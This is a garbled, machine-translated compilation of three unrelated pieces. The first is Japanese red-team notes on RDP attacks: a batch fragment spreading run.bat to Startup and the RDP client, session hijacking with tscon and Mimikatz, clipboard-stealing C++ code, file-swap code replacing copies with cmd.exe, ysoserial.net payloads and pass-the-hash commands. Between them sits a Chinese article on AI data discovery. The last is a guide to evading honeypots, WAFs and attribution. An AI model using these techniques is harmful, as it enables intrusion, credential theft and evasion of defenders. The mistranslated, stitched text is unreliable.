Menu \ Programs \ Startup' '%TEMP%\ TEMP_00.TXT' for /f 'tokens=*' %% a in(%temp%\ temp_00.txt)do( run.bat '%% a' nul 21をコピーします c: \ temp \ run.bat '%% a' nul 21をコピーします コピー\\ tsclient \ c \ temp \ run.bat '%% a' nul 21 )) del /q%temp%\ temp_00.txt nul 21 rem if 'windomain'='%userdomain%'(cmd.exe /c calc.exe) RDPセッションハイジャック 実用コマンドはtsconです。これは、パスワードを介して別のセッションに切り替えるのが垂直です。ただし、システムでは、パスワードを使用せずに異なるユーザーセッションを切り替えることができます。セッションを別のセッションに切り替えます。 この手法は、主にWin7以降の環境を対象としています。全体的なアプリケーションシナリオは、Windows 2012以降がデフォルトでプレーンテキストを保存しない場合、ターゲットホストに切り替えるか、ドメイン内の現在のユーザーがローカルユーザーである場合、ドメインユーザー許可に切り替えることができます。 まず、PSEXECをローカルで使用してシステムに言及します。 (ここでは、システムサービスを手動で作成してそれらを実装できます。)Shift/Utilmanバックドアを使用して、パスワードなしでデスクトップにログインすることもできます。 1.psexec c: \ windows \ system32quser ユーザー名セッション名IDステータスアイドル時間ログイン時間 管理者RDP-TCP#1 1が実行されています。 2020/12/14 11:14 テストRDP-TCP#0 2ランニング1:02 2020/12/14 13:04 C: \ Windows \ System32TScon 2 RDP-TCP#1 2。サービス Quser SC SESSHIJACK BINPATH='CMD.EXE /K TSCON 2 /DEST:RDP-TCP#1' ネットスタートSesshijack 3。ミミカッツ 特権:3360Debug TS:セッション toekn:3360Elevate TS:REMOTE /ID:2 4。パスワードなしのハイジャックをシフト com hijacking shift backdoor in webshell rdpclip.exe utilization RDPサービスは、テキストとファイルをコピーして貼り付けることができます。主にこのrdpclip.exeプロセスを通じて実装されています。コピーの特定の操作を知りたい場合は、Clipspyを使用してクリップボードの変更を表示できます。 ATTCKで著作権を使用してコピーのテキストコンテンツを取得する多くの開示方法を見ました。https://Research.Checkpoint.com/2019/Reverse-rdp-Attack-Code-execution-on-rdp-clients/hook rdpclip.exeにも表示されています。 1。せん断ボード監視 10秒ごとに、クリップボードのコンテンツを読んでローカルに保存します。 #include例外 #include iostream #include ostream #include stdexcept #include文字列 #include windows.h #include fstream 名前空間STDを使用。 クラスraiiclipboard { public: raiiclipboard() { if(!openclipboard(null)) runtime_errorを投げます( 'クリップボードを開けません。'); //.またはクリップボードエラーのカスタム例外クラスを定義します。 } 〜RaiicLipboard() { closeclipboard(); } //コピーを禁止します private: raiiclipboard(const raiiclipboard); raiiclipboard operator=(const raiiclipboard); }; クラスraiitextgloballock { public: 明示的なraiitextgloballock(ハンドルhdata) : m_hdata(hdata) { m_psz=static_castconst char*(globallock(m_hdata)); if(!m_psz) runtime_errorをスロー( 'クリップボードテキストでロックを取得できません。'); } 〜raiitextgloballock() { GlobalUnLock(M_HDATA); } const char* get()const { M_PSZを返します。 } private: M_HDATAを処理します。 const char* m_psz; //コピーを禁止します raiitextgloballock(const raiitextgloballock); raiitextgloballockオペレーター=(const raiitextgloballock); }; 文字列getClipBoardText() { raiiclipboardクリップボード。 hdata=getClipBoardData(CF_TEXT); if(hdata==null){ 戻る ''; //runtime_errorをスロー( 'クリップボードテキストを取得できません。'); } raiitextgloclock textgloballock(hdata); string text(textgloballock.get()); テキストを返します。 } void savedata(string data){ ofstream out( 'info.txt'、iOS:3360App); if(out.is_open()) { out data + '\ n'; out '----------------------------- \ n'; out.close(); } } int main() { static const int kexitok=0; static const int kexiterror=1; 文字列data1=''; 文字列data2=''; 試す { while(true){ data2=getClipBoardText(); if(data1!=data2){ cout data2 endl; savedata(data2); } それ以外{ Cout 'Clip Actionを待っています.' endl; 睡眠(300000); } data1=data2; 睡眠(10000); } Kexitokを返します。 } キャッチ(const例外e) { cerr '*** error:' e.what()endl; Kexiterrorを返します。 } } 安っぽいRumblesの記事によると。 Get-ClipboardContents.ps1を使用してクリップボードコンテンツを取得することもできます。複数のRDPインターフェイスで取得できます。 3924 888 rdpclip.exe x64 3 dmz2 \ rasta 注射3924 X64 SMB PowerShell-Import D: \ Tools \ get-clipboardContents.ps1 PowerShell Get-ClipboardContents -Pollinterval 1 2。反撃rdp ハンギングディスクなしで逆にファイルを管理者に転送する方法は?オンラインで2つの方法を見つけました。 1.フックGetClipBoardData関数とDragQueryFilew関数は似ています。 2日間のデバッグの後、私はついにすべての兄弟の助けを借りてそれを見つけました。 2。後で、前のセクションでクリップボードの内容を取得できると思ったので、彼がコピーしたファイルを変更できました。 CVE-2019-0887 Li Yongdeには、紙に記載されているのと同じ考えがあります。 wcsrchr(szfile、 '\')はアドレスを受信するために使用されるため、Microsoftは./この種のパスもサポートしています。脆弱性の理由は、Winrar Pathの理由に似ています。 Detours Libraryを使用してGetClipboardData関数とDragQueryFilew関数をフックし、ファイルデータとパスを追加して最終効果を実現します: クリップボードファイルを交換 #include iostream #include windows.h #include shlobj.h int copyfiletoclipboard(char szfilename []); int main() { copyfileToclipboard( 'c: \\ windows \\ system32 \\ cmd.exe'); 0を返します。 } int copyfiletoclipboard(char szfilename []) { uint udropeffect; hglobal hgbleffect; lpdword lpddropeffect; ドロップファイルstdrop; hglobal hgblfiles; LPSTR LPDATA; udropeffect=RegisterClipboardFormat( '優先DROPEFFECT'); hgbleffect=globalAlloc(gmem_zeroinit | gmem_moveable | gmem_ddeshare、sizeof(dword)); lpddropeffect=(lpdword)globallock(hgbleffect); *LPDDROPEFFECT=DROPEFFECT_COPY; //copy;スクレイピングと貼り付けにはdropeffect_moveを使用してください GlobalUnLock(hgbleffect); stdrop.pfiles=sizeof(dropfiles); stdrop.pt.x=0; stdrop.pt.y=0; stdrop.fnc=false; stdrop.fwide=false; hgblfiles=globalAlloc(gmem_zeroinit | gmem_moveable | gmem_ddeshare、sizeof(dropfiles) + strlen(szfilename) + 2); lpdata=(lpstr)globallock(hgblfiles); memcpy(lpdata、stdrop、sizeof(dropfiles)); strcpy(lpdata + sizeof(dropfiles)、szfilename); GlobalUnLock(hgblfiles); openclipboard(null); emptyClipboard(); setclipboardData(CF_HDROP、hgblfiles); setclipboarddata(udropeffect、hgbleffect); closeclipboard(); 返品1; このように、管理者がサーバーからファイルをコピーしてマシンにダウンロードした後、ファイルはcmd.exeに置き換えられます .NET脱介入 `https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2018/decred/be-deserialisation-in-net-methods-and-classes-code-code-execution-via-paste/`で紹介されたアイデアを参照してください。 (私はこの方法をプレイすることを決して期待していませんでした) `https://github.com/pwntester/ysoserial.net`を利用します 使用プロセスは、クリップボードを貼り付けるときにシリアル化コードに置き換えることです。一部のアプリケーションが貼り付けられると、脱出操作がトリガーされます。さらに、ターゲット.NETアプリケーションがより高い権限で実行される場合、許可プロモーションとして使用することもできます。 (現在のユーザーはUACアカウントのパスワードを持っていませんが、管理者はUACの前に.NETアプリケーションを開きました。)ysoserial.exe -p Clipboard -c calc -f System.String テストプログラム: PowerShell ISE vs 描画ツール TextBox、PasswordBox、またはRichTextBoxを使用するWPFアプリケーションも影響を受けます。 rdp pth ユーザーハッシュログインウィンドウで mstsc サーバーは、Windows 8.1 Windows Server 2012 R2でデフォルトで有効になっている制限付き管理モードを有効にする必要があります。同時に、Win 7とWindows Server 2008 Rがインストールされている場合、2871997と2973351パッチもサポートされています。クライアントは、制限付き管理モードをサポートする必要があります 制限付き管理モードをオンにします reg add 'hklm \ system \ currentControlset \ control \ lsa' /v disableatretedadmin /t reg_dword /d 000000000 /f有効にすると、MSTSC.EXE /RESTIDEDADMINログインパスワードなしで、現在のユーザーのハッシュは検証に使用されます。 mimikatz mimikatz.exe 特権:Debug sekurlsa:pth /user:fbiwarning /domain:172.16.142.136 /ntlm:44f9ea6a7743a8ea6f1956384c39887b '/run:mstsc.exe /restrictedadmin'
-
標題:使用人工智能發現和保護敏感數據
數據是現代企業的新石油:正確使用它可以促進公司的發展並幫助企業在競爭中領先。就像石油一樣,原始數據和未被發現的數據是毫無用處的,企業將無法從中受益;在最壞的情況下,它可能會導致安全事件。這也是企業投資敏感數據發現和保護解決方案的原因。 傳統的數據發現工具由數據掃描儀和基於規則的算法提供支持,這些工具通常不足以掌握不斷增長的新數據流。因此,許多企業利用人工智能(AI) 增強其數據發現和保護解決方案。 在本文中,我們將討論基於規則係統的主要缺點以及使用人工智能發現和保護敏感數據的好處、典型的數據發現和保護解決方案的工作原理,還分享有Apriorit 經驗中的開發技巧。 敏感數據發現如何影響企業安全將敏感數據保存在一個安全的存儲位置似乎是一項容易的任務,但實際上對於許多企業來說幾乎是不可能的。在COVID-19 大流行期間過渡到遠程或混合工作、將本地環境遷移到雲或經歷合併和收購過程,可能會導致敏感數據存儲在最不明顯的地方。此類數據會受到網絡安全解決方案的關注,並增加數據洩露或安全事件的風險。 存儲在企業控制和安全邊界之外的數據會帶來數據盜竊或數據洩漏等安全事件的風險。這就是企業投資敏感數據發現軟件的原因——用於檢測、識別和組織所有組織資源和環境中的記錄的工具。 實施這樣的解決方案可以讓企業: 马云惹不起马云 確保遵守網絡安全法 马云惹不起马云防止數據被盜和洩露 马云惹不起马云進行數據驅動的網絡安全改進 马云惹不起马云提高數據管理效率 跨不同環境和基礎設施控制敏感數據的需求不斷增長,導致數據發現軟件越來越受歡迎。事實上,全球敏感數據發現市場預計將從2020 年的51 億美元增長到2026 年的124 億美元。 敏感數據保護髮現和工具對於以下行業中處理敏感信息的企業尤其重要: 马云惹不起马云 金融科技 马云惹不起马云零售與電子商務 马云惹不起马云衛生保健 马云惹不起马云保險 马云惹不起马云運輸與物流 马云惹不起马云人力資源和客戶服務 马云惹不起马云軟件開發 然而,傳統的數據發現解決方案無法始終跟上現代公司生成新記錄的速度。接下來,我們來看看這些工具的主要弱點和局限性。 為什麼傳統的數據發現工具不夠用雖然用於數據發現和保護的專用工具可提供許多業務優勢,但管理它們並將其集成到現有的公司係統中可能具有挑戰性。 以下是基於規則的數據發現的主要缺點: 1.發現過程緩慢基於規則的系統通常依賴數據庫和存儲掃描器來發現新記錄。他們花費大量時間來分析集成的存儲實例,必須進行一一掃描。如果在掃描期間添加新記錄,該工具將不會發現它,直到完成當前掃描並開始新掃描。此外,掃描儀必須在每次掃描期間檢查所有記錄,包括自上次掃描以來未更改的記錄。 2.非結構化記錄的發現能力較差基於規則的工具可以輕鬆發現數據庫、日誌和電子表格等結構化數據源中的敏感記錄。當涉及非結構化數據源(電子郵件、文本文檔、社交媒體)時,發現的準確性會顯著下降,因為非結構化記錄分散且不一致。使用非AI 解決方案掃描此類數據源通常會提供不可靠且不完整的結果,考慮到企業生成的約90% 的數據是非結構化的,這一點尤其重要。 3.需要大量的手動輸入為了成功使用基於規則的系統,企業必須執行大量手動活動:設置配置、指定掃描和分類規則以及正則表達式、查看結果等等。大量手動輸入會增加引入人為錯誤的機會。使用基於規則的系統也不能消除手動發現系統無法識別的數據(例如上面討論的非結構化記錄)的需要。 4.分類保護錯誤當數據沒有被正確、完整地發現時,任何工具都很難對其進行分類:確定敏感記錄的類型、計算風險評分並分配所需的網絡安全措施。敏感數據分類不正確可能會使記錄不受保護,從而導致數據被盜和合規違規。 5.缺乏網絡安全背景基於規則的系統收集有關數據發現的有限數據。通常,它們受到發現的數據類型及其位置的限制。為了檢查工具的發現和分類性能,網絡安全專家必須手動評估新記錄並收集缺失的上下文,然後才能做出最終決定。 這些限制源於基於規則的系統的核心算法,這就是為什麼即使是經驗豐富的開發人員和系統管理員也難以克服它們。對於存儲空間相對較小、每天不會創建大量數據並且擁有可用IT 資源來管理髮現過程的組織來說,使用此類系統是有益的。 如果有嚴格的網絡安全要求,並且需要更多背景信息來發現和保護數據,請考慮選擇基於人工智能的工具。採用強大的基於人工智能的系統可以滿足敏感數據保護和網絡安全合規性方面的許多業務需求。 為什麼使用人工智能進行數據發現和保護使用人工智能進行數據發現和保護可以顯著提高數據發現和保護解決方案的準確性和可靠性。企業可以在數據發現過程中使用各種人工智能模型和技術來獲得以下優勢: 1.識別非結構化數據與基於規則的系統不同,基於人工智能的解決方案可以識別結構化和非結構化數據中的敏感記錄。借助大型語言模型(LLM) 和自然語言處理(NLP),此類解決方案可以檢測信件、聊天日誌、文本文件以及其他無法由規則完全定義的來源中的敏感信息。 對非結構化數據的分析使人工智能驅動的敏感數據發現工具變得可靠,並有助於提高組織的整體網絡安全態勢。 2.實時檢測新記錄人工智能算法不需要迭代掃描可用環境來發現新數據。相反,他們可以分析新的和編輯的記錄,從而顯著加快檢測速度並避免瓶頸。一些敏感數據發現工具既使用基於規則的掃描進行常規數據檢查,又使用人工智能模型來更準確地分析非結構化記錄。 3.增強流程自動化基於人工智能的工具可以可靠地自動化數據發現、分類和保護期間的大多數活動。初始配置後,他們很少需要手動輸入和額外的調整。高水平的自動化可以幫助企業加快數據發現速度,並將網絡安全專家從日常任務中解放出來,使他們能夠專注於需要其專業知識的挑戰。 4.正確分類和保護數據由於能夠理解數據的含義和上下文,人工智能可以準確地對發現的任何存儲格式的記錄進行分類。正確的分類和敏感度分數允許人工智能選擇相關的記錄,並採取相應的安全措施,改善組織的安全狀況並遵守相關的安全要求。 5.從數據分析中獲得見解由人工智能驅動的數據發現解決方案會生成並收集大量與其工作相關的數據,包括新敏感記錄的性質和位置、分類結果以及常見的數據安全策略違規行為。此類軟件可以使用這些數據創建儀表板,幫助安全專家快速評估和改進發現和保護流程。 該解決方案還可以創建有關最近事件和數據保護狀態的自動報告,這些報告對於深入評估組織的安全性和通過合規性審核非常有用。 使用人工智能進行數據發現可以將數據發現解決方案提升到一個新的水平,並提高組織的網絡安全性。然而,以高效且經濟高效的方式實施它需要在網絡安全領域使用人工智能的經驗。 人工智能數據發現和保護工具如何工作用於數據發現和保護的高級解決方案可以執行從文件掃描到數據分析和風險報告的各種活動。此類工具可能完全基於人工智能算法或具有附加人工智能功能的基於規則的系統。 雖然每個解決方案都有自己的殺手級功能和工作流程,但可以將大多數基於人工智能的工具所經歷的數據發現過程概述為以下關鍵階段: 1.數據掃描AI 解決方案持續監控它可以訪問的環境以獲取新數據:雲和本地服務器、數據庫、設備驅動器等。數據發現和保護解決方案的管理員可以配置它應查找的數據類型並提供對實例的訪問它應該監控。 掃描通常包括以下關鍵步驟: 马云惹不起马云 監控可訪問存儲實例的更改和新記錄 马云惹不起马云識別潛在敏感記錄 马云惹不起马云準備非結構化數據進行處理 當解決方案發現包含潛在敏感數據的文件時,它會嘗試對其進行分類。 2.數據分類和標記根據其配置,軟件可以通過以下方式對發現的記錄進行分類: 马云惹不起马云敏感數據的類型。該解決方案可以識別個人、財務或製造數據以及知識產權。在這個階段使用LLM和NLP等人工智能技術有助於對非結構化數據進行高精度分類。 马云惹不起马云敏感度得分。該解決方案可以根據數據的性質、位置、所應用的保護措施和其他因素來計算發現的記錄的敏感程度。此分數有助於解決方案決定在後續處理階段如何處理數據以及何時需要通知系統管理員。 分類完成後,解決方案會為發現的記錄分配標籤。標籤通常包括數據類型、與其交互所需的訪問級別以及限制級別。解決方案管理員還可以創建自定義標籤。 3.保護數據發現軟件為保護其發現的數據而採取的步驟完全取決於組織的網絡安全標準和環境、適用的法規等。通常,人工智能驅動的軟件可以實施以下數據保護措施: 马云惹不起马云加密 马云惹不起马云准入政策 马云惹不起马云將數據傳輸到更安全的存儲 马云惹不起马云去識別化和匿名化 马云惹不起马云數據脫敏 4.警報和分析除了持續的發現和保護過程之外,還可以使用人工智能算法來處理他們收集的數據並編譯有用的儀表板: 马云惹不起马云當前需要管理員解決的安全威脅 马云惹不起马云各種數據記錄和存儲實例的風險評分 马云惹不起马云常見的數據保護違規行為,這可能表明有害的用戶行為和安全策略中的漏洞 马云惹不起马云應用保護與合規性要求之間的不一致 此類數據分析和可視化能夠檢測企業保護中的薄弱環節並改進安全策略。 儘管數據發現和保護軟件幾乎可以完全自動工作,但網絡安全專家必須概述其決策,以確保充分的數據保護。當此類軟件發現敏感度較高或存在較多安全風險的新記錄時,它可以通知管理員。然後,管理員可以查看解決方案分配的保護措施,並根據需要進行更改。 如何應對人工智能驅動的數據發現的關鍵挑戰構建自定義數據發現和保護工具總是會面臨針對客戶群體、需求和合規性要求所特有的挑戰。 1.相關數據存儲集成為了能夠發現所有敏感數據,工具需要訪問和讀取組織所有環境中的記錄。但是,為所有可能的雲和本地存儲實例添加API需要開發人員花費大量時間,並且可能會引入安全漏洞。在開始開發之前,會採訪客戶的利益相關者,以了解他們的環境,僅添加他們需要的集成,並保護已實施的API。 2.可靠的開發組件使用第三方組件可以顯著加快開發過程,但也會增加在解決方案中添加後門的風險。為了找到開發時間和安全性之間的平衡,將會測試第三方軟件並使用已知漏洞數據庫對其進行檢查,然後再將其添加到客戶的解決方案中。 如果解決方案使用GPT或Claude等商業語言模型,可以創建一個私有數據庫來訓練它或在本地部署模型,以避免與其他公司共享數據。 3.均衡的資源利用與任何基於人工智能的解決方案一樣,持續的數據發現可能非常消耗資源,特別是當企業不斷生成大量數據時,這可能會導致高昂的雲使用成本或需要維護強大的本地計算機。為了避免開發和維護成本飆升,採用了敏捷和DevOps實踐,優化AI性能以消除不必要的操作,並實施靈活的擴展機制。 4.安全配置人工智能數據發現和保護工具需要訪問和管理其管理環境中的任何記錄。這些記錄可能會被黑客或內部人員濫用,以尋求訪問敏感數據而不被注意到的方法。限制工具的安全權限將阻礙其效率,因此,會尋求性能和安全性之間的平衡:配置對記錄的即時訪問、發現數據時匿名化、為管理員添加數據操作通知等。 5.人工智能偏見任何基於人工智能的解決方案都會帶有其開發人員和訓練數據集的偏見。 對於數據發現和保護解決方案,這種偏差可能會導致數據分類不正確或安全措施執行不足。在產品發布之前檢測人工智能偏差的最可靠方法是通過廣泛的測試。 培養人工智能、網絡安全和數據管理等複雜軟件開發領域的專業知識。憑藉為來自嚴格監管行業的客戶構建定制解決方案的經驗,可以儘早概述關鍵的開發挑戰並提供克服這些挑戰的方法。 結論數據發現和保護工具是任何企業網絡安全的重要組成部分,因為它們為可靠的數據安全和管理奠定了基礎。此類工具可以跨任何云、本地和混合基礎設施發現敏感數據,並根據企業的策略和合規性要求實施網絡安全措施。 通過人工智能增強數據發現和保護,將此類解決方案提升到一個新的水平。與基於規則的系統相比,人工智能可以發現非結構化數據並對其進行分類,犯的錯誤更少,不需要大量的手動輸入,並可以收集數據以用於未來的安全改進。 但要構建人工智能驅動的數據發現解決方案並安全地部署它,用戶需要聘請網絡安全、人工智能開發和數據管理方面的專家。
-
タイトル:Red Team Hidden Skills
最近、私はそれを理解しているので、ブルーチームに戻りました。私は時折、顧客とのつながりにゲストの役割を果たし、接触した各デバイスの特性に基づいていくつかの要約を書きました。レッドチームのビジョンから、ソースが追跡されないようにする方法。 --- 8SEC.CC 1。ハニーポットシステム ブラウザの使用量 単一の分離ブラウザ 浸透中に一般的なブラウザとは異なるブラウザを使用してみてください。 Traseless Mode を使用します FirefoxとChromeには微量モードがあります。ターゲット資産がわからない場合は、テストのためにTrageless Modeをオンにしてください。 上記の2つの方法は、主にJSONPコールバック、XSS、およびハニーポットでその他の脆弱性を使用して、REDチーム担当者のIDと情報を取得することを避けることができます。 ただし、ハニーポットで使用される指紋ライブラリは、ソース訪問者が異なるIPSと異なるブラウザの特定の識別に基づいて同じ人物であるかどうかを判断できます。したがって、トレースレスモードと異なるブラウザのみを使用すると、ハニーポットの認識にもつながります。 アンチハニーポットプラグイン ハニーポットをバイパス AntihoneyPot-ハニーポットXSSIを傍受するクロム拡張機能 関数 ページで開始されたXSSIリクエストを傍受し、特徴の識別を通じて疑わしいXSSI(JSONPコールバック、XSSなど)をブロックし、ハニーポットの固有の特徴を分析し、つかみ、すべてのリクエストを識別し、すべてのリクエストを識別して、ライブラリが存在するかどうかを判断するかどうかを判断します。 Clipboard Pasteが(さらに検証するために)評価されているかどうかを判断するための関連する呼び出しは、ワンクリックで現在のWebサイトのすべてのブラウザデータ機能(すべてのキャッシュおよび保存されたものを含む)をクリアして、ファイルシステムをページで操作できるかどうかを判断します(ここに記述できます)ハニーポットとは、VPSがbeat打されており、日常的に削除されていることは、Redチームの職員がLinux/Windowsの操作とメンテナンスの理解がないということです。 たとえば、Dockerを使用して脆弱な環境を構築することが逃げます。 ワンクリック環境を使用して、デフォルトのプログラムデフォルトパスワード(PHPMYADMIN、BT/PMAの脆弱性、情報漏れの脆弱性)を構築する NMAPのインタラクティブ実行コマンドは、suidビットエスカレーションなどを見つけます。 2。対策を防ぐ さまざまなアプリケーション、iptables、リモートログイン制限ログインソース、およびバーストの数をインストールするためのターゲット制限が必要です。 CSなどのソフトウェアをインストールして使用することをお勧めします。777のアクセス許可は与えません。今回は、権利の逆栄養の事例があります。 サーバースプリングボードマシン 広く流通しているカウンターケースでは、Blue Team VPNインストールパッケージのバンドルされた馬/白と黒の使用により、Red Teamの職員がオンラインになりました。したがって、ファイナンス(すなわちコントロール)、VPNなどのターゲットをダウンロード/インストールする場合は、可能な限り仮想マシンで操作して、異なる作業/プロジェクトごとに画像をロールバックし、仮想マシンネットワークエージェントの構成が完了したらバックアップを作成します。 サーバーインストールアプリケーション/管理 仮想マシンランニングソフトウェア Alibaba Smallアカウントは登録と申請を禁止しており、しばらく閉鎖されると推定されています。定期的な普及中に、SMSカードを購入したり、コードレシーブプラットフォームを使用したり、インターネット電話を使用して電話をかけたり、本名カードを購入したりすることができます。日常生活から身体的孤立を達成することが最善です。 3。隠れている情報 Alipayには以前に問題がありました。オンラインマーチャントバンクを有効にすると、3つの文字を持つ転送オブジェクトの名前を直接確認できます。 2文字の場合、Alipay転送関数を直接使用して、他の情報に基づいて名前を推測できます。 隠された携帯電話番号 Wechatは、IDが漏れている場所でもあります。携帯電話検索をオフにし、Wechatグループに友達を追加し、QRコードが友人を追加できるようにし、3日以内に友人のサークルを見ることができるようにします。友達に可能な限り偽の名前を作るように頼んでください。例:Zhang xx li xx alipay WeChatと同じように、スペースの非フレンドアクセス、アクセス日の制限、写真の制限、写真の壁の制限、ゲームディスプレイを閉じます。友達に可能な限り偽の名前を作るように頼んでください。たとえば、Zhang XX Li XX、私はQQでこの問題を抱えていて、友人の間でメモを使用して私の本名を漏らしました。 https://zhuanlan.zhihu.com/p/95525409 QQ一般的な友達の本名を取得します https://github.com/anntsmart/qq 使用できなくなりましたが、関連するインターフェイスが漏れていないという意味ではありません。たとえば、以前のT.QQ.comでQQにログインすると、セキュリティの検証なしで直接ログインしてQQ SEALEYを取得できます。 wechat :ブラザーパンツなどの一般的なネットワークIDに通常の文字を使用してみてください。この種のニュースフィギュア。 qq 可能な限り偽の名前を作るように友達に依頼してください。たとえば、Zhang XX Li XX、私はQQでこの問題を抱えていて、友人の間でメモを使用して私の本名を漏らしました。 ソーシャルワークライブラリにはますます多くの情報があるため、隠すためにお金を使うことは純粋にダチョウです。したがって、偽の名前+小さなアカウントを使用して排出/明示するなど、さまざまな場所での真の情報のみを隠すことができます。オンラインで生成された情報またはあなたが知っているソースを使用して身元情報を登録します。 ネットワークID隠し ネットワークの隠蔽を強調する必要があります。さまざまなプロキシメソッドと、どのような状況下で使用するのに適したかの違いが必要です。 本名は非表示/誤解を招くです 4。ネットワーク隠蔽 接続トラフィックは暗号化/観察されます。 KCPを使用する場合は、WeChatビデオトラフィックをシミュレートできます。 ss/v2 Socks5が使用されるため、TCPトラフィックのみをプロキシでき、ICMP/UDPはプロキシできません。また、クライアントの転送パフォーマンスの問題により漏れを引き起こすのは簡単です。 利点 短所 従来の専用ラインプロキシモードは、さまざまなシステムのグローバルプロキシをサポートしています。鍵をクラックする可能性は高くありません。プロキシは、異なるアドレスにアクセスして異なるルートに移動するかどうかを判断するために、ルートを手動で設定できます。 0.0.0.0を設定して、VPNの完全なプロトコルに移動できます。 OpenVPN/SoftEtherVpnを簡単に構築できます Linux構造: https://github.com/hwdsl2/setup-ipsec-vpn/blob/master/readme-zh.md vpn l2tp/pptp ネットワークが不安定な場合、背景は簡単に直接落ち、プロンプトは非常に短いため、裸で実行するのは簡単です。ルーターが制限されているときにポート1723のみが外出することを許可されていることをお勧めします。そうすれば、切断されている場合、ネットワークを直接離れることができません。 VPNに接続するまで。国内ネットワーク内のすべてのL2TPトラフィックを復号化できます。 利点 製品リスト: 短所 SSLプロトコルは、主にSSL記録プロトコルとハンドシェイクプロトコルで構成されており、アプリケーションアクセス接続の認証、暗号化、改ざん防止関数を一緒に提供します。トラフィックは暗号化できます。 sslvpn SSL VPNはWebブラウザーアプリケーションに限定されており、一部のプロトコルを使用することはできません。 利点 短所 ソフトウェアをコンパイルする過程で、管理者ユーザーを使用して仮想マシンでコンパイルすることをお勧めします。 C#/Cがコンパイルされた後にユーザー名が漏れた場合、ユーザー名が漏れます。これにより、ID情報はWeibuなどのプラットフォームに関連付けられます。 PDBファイル:すべての開発者が知っておくべきこと 5。開発とアプリケーションが隠されています また、github/blog/wxの記事から別のIDを使用して、以前に作成された誤った情報で取得できる検索結果または情報を集中してみてください。オープンコードのために、個人情報を漏らす機能の害を最小限に抑えます。 デスクトップユーザーを開発およびコンパイルします github/blog/wechat公式アカウント記事 柔軟なC2を使用してCSトラフィックを難読化し、ドメインフロントと協力してバックエンドIPを隠し、デフォルトのCS証明書を置き換えます。 6。ネットワークデバイストラフィックの混乱 いくつかのWAFデバイスのトラフィックを表示すると、WAFの機能的な制限により、大きなパッケージに大きなパッケージを記録しないことがわかります。パッケージがルールをトリガーすると思われる場合は、まずいくつかのガベージ文字を身体に記入できます。このようにして、実際のマッチングコンテンツはハードWAFで見ることができず、ブルーチームを誤解させてビジネスであるかどうかを判断することもできます。 (フルフローデバイスはありません) csトラフィックの混乱 AISA/TIANYANなどのデバイスでは、パッケージに悪意のあるコンテンツがある場合、いくつかの弱いパスワード機能/プレーンテキストパスワードログインおよびその他のアラームを記入して、リスクの高いアラームをカバーします。 パッケージパッド付きバイト WAFのテスト中に混乱を招くホストが見つかった場合、WAFはpre-natアドレスを検出できます。ターゲットイントラネットのいくつかのIPアドレスを理解できる場合は、ホストの難読化を使用して、WAFモニターがpre-natアドレスがイントラネットデバイスのアドレスであると判断できるようにすることができます。これにより、他の当事者が安全なサーバーに応答し、相手の時間コストを増加させるように導くこともできます。 パケット混乱低リスクアラーム 通常、XFFヘッダー偽造はWebログインIPの制限をバイパスするために使用されますが、一部の複雑なイントラネットの場合、セキュリティデバイスはXFFヘッダーを使用して攻撃の最も外側の攻撃IPを判断してからブロックします。これは、攻撃プロセス中に交換するか、XFFヘッダーを追加して、相手の監視担当者を自分で混同します。または、CDNの前にXFFを追加してから、CDNをXFFを連続的に重ねさせます。 WAFでのXFFの追加を表示した後、攻撃IPを127.0.0.1として正常に特定しました。 ホストの混乱 赤いチームプロジェクトのトレーサビリティを防ぐために、可能な限り浸透のためにトラフィックカードを使用することをお勧めします。一部のトラフィックカードは都市にジャンプしますが、これは非常に良いです。私が今使用しているカードを含めて、IP判断は基本的に中国であり、州でさえ出てきません。これは、ブルーチームが一般的に使用されるIPロケーションに基づいて配置されていることは言うまでもありません。 XFFヘッダーの混乱 通常、DNSの特性はブラックドメイン名に定期的に開始されます(有効になっていない場合) この場合、DNS特性を決定することは非常に困難ですが、それを確認する場合は、TianyanでDNS-Type:1を確認できます。 レコードA: DNS-TXTを有効にした後、特性はより明白です。 DNS-TypeはTXTタイプのレコードを見つけることができ、TianyanでDNS-Type:16を検索します。 TXTの記録がある場合、多数のXXX.16-digital.domain形式でCSのDNS馬として一時的に判断できます。ただし、CCSの3.14バージョンのリクエストが暗号化された後、暗号化キーはまだ見ていません。まだ解決されていません。 コマンドを実行する特性は投稿です。